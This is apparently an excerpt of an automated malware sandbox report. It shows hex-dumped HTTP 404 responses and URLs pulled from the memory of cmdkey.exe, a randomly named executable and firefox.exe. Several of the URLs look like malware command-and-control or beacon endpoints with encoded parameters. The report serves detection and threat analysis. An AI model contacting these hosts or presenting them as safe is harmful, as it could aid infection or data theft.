Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:58:34 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:58:56 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:58:59 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:59:02 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:59:05 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31

Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r1.crl0
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r1.crt0
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000004B08000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000004068000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmE
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000004B08000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000004068000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNj
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000004C9A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000041FA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000003CE6000.00000004.10000000.00040000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000003246000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736438267.0098365932&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiY
Source: SwDwSdNMaTt.exe, 00000007.00000002.293705525670.0000000000CE0000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ogbos88.cyou
Source: SwDwSdNMaTt.exe, 00000007.00000002.293705525670.0000000000CE0000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ogbos88.cyou/kj1o/
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000004C9A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000041FA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.zbywl.com/js.js
Source: SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000003246000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www70.chiro.live/
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cmdkey.exe, 00000006.00000002.292818357888.000000000400A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.000000000356A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: cmdkey.exe, 00000006.00000003.289456056159.0000000007C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd
Source: cmdkey.exe, 00000006.00000002.292815481224.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
Source: cmdkey.exe, 00000006.00000002.292815481224.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: cmdkey.exe, 00000006.00000002.292818357888.00000000047E4000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000003D44000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ogbos88vip.click
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-114.png
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-57.png
Source: cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-72.png
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/styles/reset.css
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/images/additional-pages-hero-shape.webp
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/logo/logo-loopia-white.svg
Source: cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/style/2022-extra-pages.css
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SwDwSdNMaTt.exe, 00000007.00000002.293707698132.000000000451E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGe
Source: cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
